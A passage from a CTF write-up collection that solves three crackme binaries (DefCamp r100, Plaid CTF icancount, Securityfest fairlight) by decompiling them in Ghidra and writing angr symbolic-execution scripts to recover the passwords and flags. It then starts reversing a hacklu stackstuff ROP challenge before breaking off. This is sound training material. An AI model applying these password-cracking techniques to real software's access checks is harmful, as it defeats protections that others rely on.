[*] '/Hackery/pod/modules/angr/defcamp_r100/r100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./r100
Enter the password: 15935728
Incorrect password!
```

So we can see we are dealing with a `64` bit binary, that when we run it, it prompts us for input via `stdin`. When we take a look at the binary in Ghidra, we see this function at `0x4007e8`:

```c
undefined8 promptPassword(void)

{
  long lVar1;
  int check;
  char *bytesRead;
  undefined8 passedCheck;
  long in_FS_OFFSET;
  char input [264];
  long canary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter the password: ");
  bytesRead = fgets(input,0xff,stdin);
  if (bytesRead == (char *)0x0) {
    passedCheck = 0;
  }
  else {
    check = checkInput(input);
    if (check == 0) {
      puts("Nice!");
      passedCheck = 0;
    }
    else {
      puts("Incorrect password!");
      passedCheck = 1;
    }
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return passedCheck;
}
```

So we can see it first calls `printf` to prompt us for a password. It will then scan in at most `0xff` bytes into `input`. Provided that the `fgets` call actually scanned any bytes in, it will run `input` through the `checkInput` function. If it returns `0` then we solved the challenge. Looking at the `checkInput` function we see this:

```
undefined8 checkInput(long input)

{
  int i;
  long local_28 [4];

  i = 0;
  while( true ) {
    if (0xb < i) {
      return 0;
    }
    if ((int)*(char *)((long)((i / 3) * 2) + local_28[(long)(i % 3)]) -
        (int)*(char *)(input + (long)i) != 1) break;
    i = i + 1;
  }
  return 1;
}
```

So we can see here, the code enters into a `while (true)` loop. Each iteration it will take our input and evaluates it. If it passes the check, it will then move on to the next iteration. If there are more than `0xc` iterations of the loop, the function will return `0` meaning that we solved the challenge. If it fails one of the iteration checks, it will return `1` meaning that our input isn't valid.

So we are dealing with a crackme which is a challenge that scans in a piece of data, and evaluates it, and we need to figure out what that data is. We will use Angr to solve this. For Angr we need to know three things. The first is what input we have control over (here it is `0xff` bytes or less via stdin). The second is an instruction address that if it is executed, that means our input was successful (in other words an instruction address along the code path we want to hit). For this I choose `0x4007a1` in `checkInput` where it sets `EAX` (the return value) equal to `0x0`:

```
                             LAB_0040079b
XREF[1]:     0040072b(j)
        0040079b 83 7d dc 0b     CMP        dword ptr [RBP + i],0xb
        0040079f 7e 8c           JLE        LAB_0040072d
        004007a1 b8 00 00        MOV        EAX,0x0
                 00 00
```

That instruction address should only be called when we have the correct input, so it is a good candidate. Now the last piece we need is an instruction address that when it is called, means that our input is not correct. For this I choose `0x400790` which is along the code path if the if then check in `checkInput` fails (specifically when it moves `1` into `EAX` so the return value specifies a failure):

```
        0040078b 83 f8 01        CMP        EAX,0x1
        0040078e 74 07           JZ         LAB_00400797
        00400790 b8 01 00        MOV        EAX,0x1
                 00 00
```

With that, we have everything that we need to make our Angr script:

```
# Import Angr
import angr

# Establish the Angr Project
target = angr.Project('r100')

# Specify the desired address which means we have the correct input
desired_adr = 0x4007a1

# Specify the address which if it executes means we don't have the correct input
wrong_adr = 0x400790

# Establish the entry state
entry_state = target.factory.entry_state(args=["./fairlight"])

# Establish the simulation
simulation = target.factory.simulation_manager(entry_state)

# Start the simulation
simulation.explore(find = desired_adr, avoid = wrong_adr)

solution = simulation.found[0].posix.dumps(0)
print solution
```

When we run it:

```
$    python rev.py
WARNING | 2019-07-21 18:55:53,628 | angr.analyses.disassembly_utils | Your
version of capstone does not support MIPS instruction groups.
Code_Talkers������������������������������������������������������������������������������������
$    ./r100
Enter the password: Code_Talkers
Nice!
```

Just like that, we solved the challenge!

Plaid CTF 2019

Let's take a look at the binary:

```
$    file icancount
icancount: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32,
BuildID[sha1]=e75719f2cd90c042f04af29a0cd1263bb72c7417, not stripped
$    pwn checksec icancount
[*] '/Hackery/pod/modules/angr/plaid19_icancount/icancount'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./icancount
We're going to count numbers, starting from one and
counting all the way up to the flag!
Are you ready? Go!
> 15935728
No, the correct number is 1.
But I believe in you. Let's try again sometime!
$    ./icancount
We're going to count numbers, starting from one and
counting all the way up to the flag!
Are you ready? Go!
> 1
Correct.
> 2
Yes.
> 3
Yes!
> 4
Congratz
> 5
Yep!
> 6
Right-o.
> 7
Wonderful.
> 8^C
```

So we can see that we are dealing with a `32` bit binary with `PIE`. When we run it, it prompts us for numbers that increments by `1`. When we take a look at the main function in Ghidra, we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void main(void)

{
  uint __seed;
  size_t len;
  size_t sVar1;
  int iVar2;
  char *compliment;
  char input [31];

  __seed = time((time_t *)0x0);
  srand(__seed);
  puts("We\'re going to count numbers, starting from one and");
  puts("counting all the way up to the flag!");
  puts("Are you ready? Go!");
  while( true ) {
    incr_flag();
    printf("> ");
    fflush(stdout);
    fgets(input + 1,0x1e,stdin);
    if (input[1] != '\0') {
      len = strlen(input + 1);
      if (input[len] < ' ') {
        sVar1 = strlen(input + 1);
        input[sVar1] = '\0';
      }
    }
    iVar2 = strcmp(input + 1,flag_buf);
    if (iVar2 != 0) break;
    compliment = (char *)get_compliment();
    puts(compliment);
    check_flag();
  }
  printf("No, the correct number is %s.\n",flag_buf);
  puts("But I believe in you. Let\'s try again sometime!");
                    /* WARNING: Subroutine does not return */
  exit(1);
}
```

So we can see that it prints out some text, sets the rng seed to time, then drops us into an infinite loop. The loop starts off by running the `incr_flag` function which we can see it increments `flag_buf` which is stored in the bss at address `0x13048` :

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void incr_flag(void)

{
  size_t sVar1;
  size_t local_10;

  local_10 = strlen(flag_buf);
  while( true ) {
    if ((int)local_10 < 1) {
      sVar1 = strlen(flag_buf);
      if (sVar1 != 0x13) {
        sVar1 = strlen(flag_buf);
        flag_buf[sVar1] = 0x30;
        flag_buf[0] = 0x31;
        return;
      }
                    /* WARNING: Subroutine does not return */
      exit(2);
    }
    if (*(char *)((int)&__dso_handle + local_10 + 3) != '9') break;
    *(undefined *)((int)&__dso_handle + local_10 + 3) = 0x30;
    local_10 = local_10 - 1;
  }
  *(char *)((int)&__dso_handle + local_10 + 3) =
       *(char *)((int)&__dso_handle + local_10 + 3) + '\x01';
  return;
}
```

A couple of things from this, first if we weren't sure before we can see that flag_bug is only filled with the bytes between 0x30-0x39 (ASCII `0-9`). In addition to that, since if the length of flag_buf exceeds 19 (`0x13`) the program exits, our input is probably 19 characters long (and only consists of ASCII characters between `0-9`).

Proceeding that in the main function, we see that it allows us to scan in 0x1e bytes into the stack char array `input` . It then checks if the last character in our inputted string has a value less than `0x20` (which corresponds to the space `' '` character). If it does, then that character is swapped out with a null byte.

Following that, it compares our input against `flag_buf` . If they are not equal, the infinite loop breaks and we get told what the correct number should be. If it doesn't break, then it will print a random character and run the `check_flag` function which looks like this:

```
void check_flag(void)

{
  longlong lVar1;
  uint b;
  uint x;
  uint y;
  uint z;
  uint uVar2;
  int unaff_ESI;
  ulonglong a;
  ulonglong c;
  ulonglong d;
  ulonglong uVar3;
  ulonglong uVar4;
  ulonglong e;
  ulonglong g;
  ulonglong uVar5;
  longlong f;
  int i;
  char inputChar;

  __x86.get_pc_thunk.si();
  i = 0;
  while( true ) {
    if (0x13 < i) {
      printf((char *)(unaff_ESI + 0x93c),unaff_ESI + 0x25f2);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    inputChar = *(char *)(i + unaff_ESI + 0x25f2);
    x = (int)inputChar & 3;
    y = (int)(inputChar >> 2) & 3;
    z = (int)(inputChar >> 4) & 0xf;
    a = rol(x + 0xa55aa559,(uint)(0x5aa55aa6 < x) + 0xa55a,2);
    b = y - (uint)a;
    c = rol(b + 0xa55aa559,
            (-(uint)(y < (uint)a) - (int)(a >> 0x20)) + 0xa55a + (uint)
(0x5aa55aa6 < b),0xd);
    c._4_4_ = (uint)(c >> 0x20);
    c._0_4_ = (uint)c;
    d = rol((z - (uint)c) + 0xa55aa559,
            (-(uint)(z < (uint)c) - c._4_4_) + 0xa55a + (uint)(0x5aa55aa6 < z -
(uint)c),0x11);
    d._4_4_ = (uint)(d >> 0x20);
    uVar5 = c ^ a ^ d;
    lVar1 = a + CONCAT44((uint)((d & uVar5) >> 0x20) | ~(uint)(uVar5 >> 0x20) &
c._4_4_,
                         (uint)(d & uVar5) | ~(uint)uVar5 & (uint)c);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = z + (uint)c;
    uVar3 = rol(c._4_4_ + 0xf01f83c6,
```

```
                (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(z,(uint)c) + 0xf
+
                (uint)(0xfe07c39 < c._4_4_),3);
    uVar2 = (uint)(uVar3 >> 0x20);
    lVar1 = c + CONCAT44((uint)((uVar3 & uVar5) >> 0x20) | ~uVar2 & d._4_4_,
                         (uint)(uVar3 & uVar5) | ~(uint)uVar3 & (uint)d);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = x + (uint)c;
    uVar4 = rol(c._4_4_ + 0xf01f83c6,
                (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(x,(uint)c) + 0xf
+
                (uint)(0xfe07c39 < c._4_4_),0xb);
    lVar1 = uVar5 + CONCAT44((uint)((d & uVar4) >> 0x20) | ~d._4_4_ & uVar2,
                             (uint)(d & uVar4) | ~(uint)d & (uint)uVar3);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = y + (uint)c;
    e = rol(c._4_4_ + 0xf01f83c6,
            (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(y,(uint)c) + 0xf +
            (uint)(0xfe07c39 < c._4_4_),0x13);
    lVar1 = uVar3 + (e ^ d ^ uVar4);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = y + (uint)c;
    g = rol(c._4_4_ + 0x867b8ca6,
            (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(y,(uint)c) + 0xb744 +
            (uint)(0x79847359 < c._4_4_),5);
    lVar1 = d + (uVar4 ^ g ^ e);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = x + (uint)c;
    uVar5 = rol(c._4_4_ + 0x867b8ca6,
                (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(x,(uint)c) +
0xb744 +
                (uint)(0x79847359 < c._4_4_),7);
    lVar1 = e + (uVar5 ^ uVar4 ^ g);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = z + (uint)c;
    f = rol(c._4_4_ + 0x867b8ca6,
            (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(z,(uint)c) + 0xb744 +
            (uint)(0x79847359 < c._4_4_),0x17);
    lVar1 = uVar4 + uVar5 + g + f;
    c._0_4_ = (uint)lVar1 ^ (uint)((ulonglong)lVar1 >> 0x20);
    c._0_4_ = (uint)c ^ (uint)c >> 0x10;
    if (*(byte *)(i + *(int *)(unaff_ESI + 0x2692)) != (byte)((byte)(uint)c ^
(byte)((uint)c >> 8)))
    break;
    i = i + 1;
  }
  return;
}
```

This may seem like a mess, but we don't need to understand a lot about what's going on. We can see that the loop runs for `0x13` times (iteration count stored in `i`). If it runs that many times then it will call `printf` (probably will print the flag). Also we can see that it checks our input which is stored in `inputChar` at `0x10a73`:

```
gef➤  pie b *0xa73
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
We're going to count numbers, starting from one and
counting all the way up to the flag!
Are you ready? Go!
> 1
Congratz

Breakpoint 1, 0x56555a73 in check_flag ()
[+] base address 0x56555000
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$eax   : 0x56558048  →  0x00000031 ("1"?)
$ebx   : 0x56558000  →  0x00002ef0
$ecx   : 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng from
one[...]"
$edx   : 0x56558048  →  0x00000031 ("1"?)
$esp   : 0xffffcf20  →  0x00000000
$ebp   : 0xffffd028  →  0xffffd058  →  0x00000000
$esi   : 0x56558000  →  0x00002ef0
$edi   : 0x0
$eip   : 0x56555a73  →  <check_flag+46> movzx eax, BYTE PTR [eax]
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0x00000000     ← $esp
0xffffcf24│+0x0004: 0x00000009
0xffffcf28│+0x0008: 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng
from one[...]"
0xffffcf2c│+0x000c: 0xf7e48dab  →  <_IO_file_write+43> add esp, 0x10
0xffffcf30│+0x0010: 0x00000001
0xffffcf34│+0x0014: 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng
from one[...]"
0xffffcf38│+0x0018: 0x00000009
0xffffcf3c│+0x001c: 0xf7ffd000  →  0x00026f34
────────────────────────────────────────────────────────── code:x86:32 ────
   0x56555a68 <check_flag+35>  lea    edx, [esi+0x48]
   0x56555a6e <check_flag+41>  mov    eax, DWORD PTR [ebp-0x1c]
   0x56555a71 <check_flag+44>  add    eax, edx
 → 0x56555a73 <check_flag+46>  movzx  eax, BYTE PTR [eax]
   0x56555a76 <check_flag+49>  mov    BYTE PTR [ebp-0x1d], al
   0x56555a79 <check_flag+52>  movsx  eax, BYTE PTR [ebp-0x1d]
   0x56555a7d <check_flag+56>  cdq
   0x56555a7e <check_flag+57>  mov    ecx, eax
   0x56555a80 <check_flag+59>  and    ecx, 0x3
────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "icancount", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────── trace ────
[#0] 0x56555a73 → check_flag()
[#1] 0x56556109 → main()
```

```
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$eax   : 0x31
$ebx   : 0x56558000  →  0x00002ef0
$ecx   : 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng from
one[...]"
$edx   : 0x56558048  →  0x00000031 ("1"?)
$esp   : 0xffffcf20  →  0x00000000
$ebp   : 0xffffd028  →  0xffffd058  →  0x00000000
$esi   : 0x56558000  →  0x00002ef0
$edi   : 0x0
$eip   : 0x56555a76  →  <check_flag+49> mov BYTE PTR [ebp-0x1d], al
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0x00000000     ← $esp
0xffffcf24│+0x0004: 0x00000009
0xffffcf28│+0x0008: 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng
from one[...]"
0xffffcf2c│+0x000c: 0xf7e48dab  →  <_IO_file_write+43> add esp, 0x10
0xffffcf30│+0x0010: 0x00000001
0xffffcf34│+0x0014: 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng
from one[...]"
0xffffcf38│+0x0018: 0x00000009
0xffffcf3c│+0x001c: 0xf7ffd000  →  0x00026f34
─────────────────────────────────────────────────────────── code:x86:32 ────
   0x56555a67 <check_flag+34>  add    BYTE PTR [ebp+0x4896], cl
   0x56555a6d <check_flag+40>  add    BYTE PTR [ebx-0x2ffe1bbb], cl
   0x56555a73 <check_flag+46>  movzx  eax, BYTE PTR [eax]
 → 0x56555a76 <check_flag+49>  mov    BYTE PTR [ebp-0x1d], al
   0x56555a79 <check_flag+52>  movsx  eax, BYTE PTR [ebp-0x1d]
   0x56555a7d <check_flag+56>  cdq
   0x56555a7e <check_flag+57>  mov    ecx, eax
   0x56555a80 <check_flag+59>  and    ecx, 0x3
   0x56555a83 <check_flag+62>  mov    DWORD PTR [ebp-0x28], ecx
────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "icancount", stopped, reason: SINGLE STEP
──────────────────────────────────────────────────────────────── trace ────
[#0] 0x56555a76 → check_flag()
[#1] 0x56556109 → main()
───────────────────────────────────────────────────────────────────────────
0x56555a76 in check_flag ()
gef➤  p $eax
$1 = 0x31
```

There is an if then check at the end which is ran at the very end, if the check fails the loop ends (which means we don't have the correct input):

```
    if (*(byte *)(i + *(int *)(unaff_ESI + 0x2692)) != (byte)((byte)(uint)c ^
(byte)((uint)c >> 8)))
    break;
```

So to solve this challenge, we can use Angr. We need three things, what input it takes (which we know), an instruction pointer that if it's executed the problem is solved, and an instruction pointer that if it's executed then we know we have the wrong input.

For the address that designates a failed address, in the `check_flag` function we see at the end there is the if then check, which if it fails it will make a jump to `0x10fae` :

```
        00010f75 38 c2           CMP        f,f
        00010f77 75 35           JNZ        LAB_00010fae
```

Which we can see that at the address it just exits. Since this code path is executed when we don't have the right input, I choose to use the address `0xfae` :

```
                             LAB_00010fae
XREF[1]:     00010f77(j)
        00010fae 90              NOP
        00010faf 8d 65 f4        LEA        ESP=>local_10,[EBP + -0xc]
        00010fb2 5b              POP        EBX
        00010fb3 5e              POP        ESI
        00010fb4 5f              POP        EDI
        00010fb5 5d              POP        EBP
        00010fb6 c3              RET
```

Now we need the instruction address that if it's executed, it means we have the correct input. For this I choose `0xf9a` since that is the `printf` call that has been made if the loop has ran `19` times, and it probably is printing the flag (which means that this code path is ran when we have the correct input):

```
        00010f98 89 f3           MOV        EBX,ESI
        00010f9a e8 b1 f6        CALL       printf
int printf(char * __format, ...)
                 ff ff
        00010f9f 83 c4 10        ADD        ESP,0x10
        00010fa2 83 ec 0c        SUB        ESP,0xc
        00010fa5 6a 00           PUSH       0x0
        00010fa7 89 f3           MOV        EBX,ESI
        00010fa9 e8 f2 f6        CALL       exit
void exit(int __status)
                 ff ff
                             -- Flow Override: CALL_RETURN (CALL_TERMINATOR)
```

Also one last thing about the Angr script. We will set the enter state to be the start of the `check_flag` function. The reason for this being is if we were to start from the beginning of the binary, we would have to essentially brute force the binary because it checks if our input is equal to `flag_buf`, and it is initialized at `0` and incremented by `1` each time (so we would have to brute force it by entering `0`, then `1`, then `2` ...). Also since it expects our input in `flag_buf`, we will just establish our input and set `flag_buf` equal to our input. With that we have everything we need for our Angr Script:

```
import angr
import claripy

# Establish the project

target = angr.Project('icancount', auto_load_libs=False)

# Because PIE is enabled, we have to grab the randomized addresses for various
things

# Grab the address of flag_buf which stores our input
flag_buf = target.loader.find_symbol('flag_buf').rebased_addr

# Grab the address of the check_flag function which is where we will start
check_flag = target.loader.find_symbol('check_flag').rebased_addr

# Grab the instruction addresses which indicate either a success or a failure

desired_adr = 0xf9a + target.loader.main_object.min_addr
failed_adr = 0xfae + target.loader.main_object.min_addr

# Establish the entry state
entry_state = target.factory.blank_state(addr = check_flag)

# Establish our input, 0x13 bytes
inp = claripy.BVS('inp', 0x13*8)

# Assign the condition that each byte of our input must be between `0-9` (0x30 -
0x39)
for i in inp.chop(8):
    entry_state.solver.add(entry_state.solver.And(i >= '0', i <= '9'))

# Set the memory region of flag_buf equal to our input
entry_state.memory.store(flag_buf, inp)

# Establish the simulation
simulation = target.factory.simulation_manager(entry_state)

# Setup the simulation with the addresses to specify a success / failure
simulation.use_technique(angr.exploration_techniques.Explorer(find =
desired_adr, avoid = failed_adr))

# Run the simulation
simulation.run()

# Parse out the solution, and print it
flag_int = simulation.found[0].solver.eval(inp)

flag = ""
for i in xrange(19):
    flag = chr(flag_int & 0xff) + flag
    flag_int = flag_int >> 8
```

```
print "flag: PCTF{" + flag + "}"
```

When we run it:

```
$       python rev.py
WARNING | 2019-07-21 16:19:08,277 | angr.analyses.disassembly_utils | Your
version of capstone does not support MIPS instruction groups.
WARNING | 2019-07-21 16:19:08,324 | cle.loader | The main binary is a position-
independent executable. It is being loaded with a base address of 0x400000.
flag: PCTF{2052419606511006177}
```

Just like that, we captured the flag!

Securityfest 2019 fairlight

Let's take a look at the binary:

```
$    file fairlight
fairlight: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 2.6.24,
BuildID[sha1]=382cac0a89b47b48f6e24cdad066e1ac605bd3e5, not stripped
$    ./fairlight
useage: ./keygen code
$    ./fairlight 15935728
NOPE - ACCESS DENIED!
```

So we can see that we are dealing with a `64` bit binary. When we run it, we see that it takes in input through an argument. It appears to be a crackme that scans in input, evaluates it, and if it's write we get the flag. When we take a look at the `main` function in Ghidra, we see this:

```c
undefined8 main(int argc,long argv)

{
  size_t inputLen;
  long lVar1;
  undefined8 *puVar2;
  long in_FS_OFFSET;
  undefined8 victory;
  undefined8 local_1b0 [50];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  victory = 0;
  lVar1 = 0x31;
  puVar2 = local_1b0;
  while (lVar1 != 0) {
    lVar1 = lVar1 + -1;
    *puVar2 = 0;
    puVar2 = puVar2 + 1;
  }
  if (argc < 2) {
    puts("useage: ./keygen code");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  inputLen = strlen(*(char **)(argv + 8));
  if (inputLen != 0xe) {
    denied_access();
  }
  strncpy(code,*(char **)(argv + 8),0x28);
  check_0();
  check_1();
  check_2();
  check_3();
  check_4();
  check_5();
  check_6();
  check_7();
  check_8();
  check_9();
  check_10();
  check_11();
  check_12();
  check_13();
  sprintf((char *)&victory,success,code);
  printf("%s",&victory);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see that it only takes a single argument (other than the binary's name). It then checks if the length of our input is `0xe` characters (if not it runs `denied_access`). Proceeding that it copies our input to the bss variable `code` located at `0x6030b8`. After that it runs a series of `check` functions that reference our input stored in `code`, to evaluate it to see if it is correct.

So there are two ways I can see us solve this (although there are more). The first is that we go through and reverse all of the `check` functions to see what it actually expects (would probably use Z3 to help with this). The second is we just throw Angr at it. Angr is a binary analysis framework that can do a lot (such as code flow analysis and symbolic execution). We can use it as a symbolic execution engine (which figures out what inputs will execute what parts of the program) to figure out how to solve this challenge.

To use Angr here, we will need three things. The first is what input we have, and how it gets passed to the binary. This we already know, which is `0xe` (`14`) byte char characters passed in as a single argument. The second is the instruction address that we want Angr to reach. While it performs its analysis, it's goal will be to reach this function. For this I chose the `printf("%s",&victory);` call `0x401a6e` since if we hit that code path, it means we passed the check:

```
        00401a6e b8 00 00        MOV        inputLen,0x0
                 00 00
        00401a73 e8 88 eb        CALL       printf
int printf(char * __format, ...)
                 ff ff
        00401a78 b8 00 00        MOV        inputLen,0x0
                 00 00
```

Moving on, the last thing we need is an instruction address that if it is executed, then Angr knows that it's input isn't correct. For this, we can see that in all of the `check` functions if the check isn't passed it runs the `denied_access` function:

```
void check_0(void)

{
  rand();
  rand();
  if ((int)code[0] * ((int)code[11] + (int)(char)(code[9] ^ code[5])) + -0xab8
!= (int)code[13]) {
    denied_access();
  }
  return;
}
```

So for this address I choose the start of `denied_access` at `0x40074d`. This instruction is part of the code path that is executed when our input is incorrect, so this address would be a good candidate to use:

```
 **************************************************************
                             *                          FUNCTION
 *

 **************************************************************
                             undefined denied_access()
             undefined         AL:1           <RETURN>
                             denied_access
 XREF[17]:    check_0:004008a6(c),

 check_1:004009e2(c),

 check_2:00400b1f(c),

 check_3:00400c5c(c),

 check_4:00400d96(c),

 check_5:00400ed0(c),

 check_6:0040100d(c),

 check_7:00401147(c),

 check_8:00401284(c),

 check_9:004013be(c),

 check_10:004014fb(c),

 check_11:00401650(c),

 check_12:004017a7(c),

 check_13:004018fe(c),

 main:00401990(c), 00401b60,

 00401c68(*)
         0040074d 55              PUSH       RBP
         0040074e 48 89 e5        MOV        RBP,RSP
         00400751 be a0 30        MOV        ESI=>failure,failure
 = "NOPE - ACCESS DENIED!\n"
                  60 00
```

You can install Angr with pip:

```
$    sudo pip install angr
```

With that we have everything we need to write the Angr Script:

```
# Import angr and claripy
import angr
import claripy

# Establish the angr
target = angr.Project('./fairlight', load_options={"auto_load_libs": False})

# Establish our input as an array of 0xe bytes
inp = claripy.BVS("inp", 0xe*8)

# Establish the entry state, with our input passed in as an argument
entry_state = target.factory.entry_state(args=["./fairlight", inp])

# Establish the simulation with the entry state
simulation = target.factory.simulation_manager(entry_state)

# Start the symbolic execution, specify the desired instruction address, and the
one to avoid
simulation.explore(find = 0x401a6e, avoid = 0x040074d)

# Parse the correct input and print it
solution = simulation.found[0]
print solution.solver.eval(inp, cast_to=bytes)
```

When we run it:

```
$    python rev.py
WARNING | 2019-07-21 14:18:20,477 | angr.analyses.disassembly_utils | Your
version of capstone does not support MIPS instruction groups.
WARNING | 2019-07-21 14:18:27,811 | angr.state_plugins.symbolic_memory |
Concretizing symbolic length. Much sad; think about implementing.
4ngrman4gem3nt
$    ./fairlight 4ngrman4gem3nt
OK - ACCESS GRANTED: CODE{4ngrman4gem3nt}
```

Just like that, we used Angr to solve the challenge!

Return Oriented Programming (ROP)

Partial Overwrite

hacklu 2015 stackstuff

The goal of this challenge is to read the contents of the `flag` file.

Let's take a look at the binary:

```
$    file stackstuff
stackstuff: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=f46fbf9b159f6a1a31893faf7f771ca186a2ce8d, not stripped
$    pwn checksec stackstuff
[*] '/Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    /stackstuff
15935728
```

So we are dealing with a `64` bit binary, with NX and PIE. When we run it, it doesn't appear to do anything. However when we check netstat as we run it, we see that it binds to a port:

```
$    netstat -planet

.    .    .

tcp6       0      0 :::1514                 :::*                    LISTEN
1000       86812      5920/./stackstuff
```

Reversing

When we take a look at the main function in Ghidra, we see this:

```
/* WARNING: Could not reconcile some variable overlaps */

undefined8 main(undefined8 uParm1,char **ppcParm2)

{
  uint16_t uVar1;
  int iVar2;
  uint uVar3;
  undefined4 local_3c;
  ulong local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined4 local_20;
  int local_14;
  int local_10;
  int local_c;

  iVar2 = strcmp(*ppcParm2,"reexec");
  if (iVar2 == 0) {
    handle_request();
  }
  else {
    uVar3 = socket(10,1,0);
    local_c = negchke((ulong)uVar3,"unable to create socket");
    local_30 = 0;
    local_28 = 0;
    local_20 = 0;
    local_38 = 10;
    uVar1 = htons(0x5ea);
    local_38._0_4_ = CONCAT22(uVar1,(sa_family_t)local_38);
    local_38 = local_38 & 0xffffffff00000000 | (ulong)(uint)local_38;
    local_3c = 1;
    uVar3 = setsockopt(local_c,1,2,&local_3c,4);
    negchke((ulong)uVar3,"unable to set SO_REUSEADDR");
    uVar3 = bind(local_c,(sockaddr *)&local_38,0x1c);
    negchke((ulong)uVar3,"unable to bind");
    uVar3 = listen(local_c,0x10);
    negchke((ulong)uVar3,"unable to listen");
    signal(0x11,(__sighandler_t)0x1);
    while( true ) {
      uVar3 = accept(local_c,(sockaddr *)0x0,(socklen_t *)0x0);
      local_10 = negchke((ulong)uVar3,"unable to accept");
      uVar3 = fork();
      local_14 = negchke((ulong)uVar3,"unable to fork");
      if (local_14 == 0) break;
      close(local_10);
    }
    close(local_c);
    uVar3 = dup2(local_10,0);
    negchke((ulong)uVar3,"unable to dup2");
    uVar3 = dup2(local_10,1);
```

```
    negchke((ulong)uVar3,"unable to dup2");
    close(local_10);
    uVar3 = execl("/proc/self/exe","reexec",0);
    negchke((ulong)uVar3,"unable to reexec");
  }
  return 0;
}
```

So we see here is where it handles the logic of listening on a port, and forking a child process to handle the request. We can see that `handle_request` is the function responsible for handling requests:

```
void handle_request(void)

{
  FILE *passwordHandle;
  char *passwordBytesRead;
  FILE *flagHandle;
  char *bytesRead;
  char flagContents [64];
  FILE *flagFile;

  alarm(0x3c);
  setbuf(stdout,(char *)0x0);
  passwordHandle = fopen("password","r");
  if (passwordHandle != (FILE *)0x0) {
    passwordBytesRead = fgets(real_password,0x32,passwordHandle);
    if (passwordBytesRead != (char *)0x0) {
      fclose(passwordHandle);
      puts("Hi! This is the flag download service.");
      require_auth();
      flagHandle = fopen("flag","r");
      if (flagHandle != (FILE *)0x0) {
        bytesRead = fgets(flagContents,0x32,flagHandle);
        if (bytesRead != (char *)0x0) {
          puts(flagContents);
          return;
        }
      }
      fwrite("unable to read flag\n",1,0x14,stderr);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  fwrite("unable to read real_password\n",1,0x1d,stderr);
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

So we can see that it tries to open up the files `password` and `flag` (so we will need to make them and have them in the same directory as the elf). Proceeding that it runs the `require_auth` function, which does this:

```
void require_auth(void)

{
  int isPasswordCorrect;

  while( true ) {
    isPasswordCorrect = check_password_correct();
    if (isPasswordCorrect != 0) break;
    puts("bad password, try again");
  }
  return;
}
```

We can see that the `require_auth` function just runs an infinite loop, which checks to see if the output of `check_password_correct` is not equal to zero (which would signify we have the correct password). If we are the hit the part of `handle_request` that prints the flag, we have to break out of the loop. When we take a look at `check_password_correct`, we see this:

```
ulong check_password_correct(void)

{
  int iVar1;
  size_t bytesRead;
  long lVar2;
  undefined8 *puVar3;
  int passwordLength;
  undefined8 passwordInput [9];

  lVar2 = 6;
  puVar3 = passwordInput;
  while (lVar2 != 0) {
    lVar2 = lVar2 + -1;
    *puVar3 = 0;
    puVar3 = puVar3 + 1;
  }
  *(undefined2 *)puVar3 = 0;
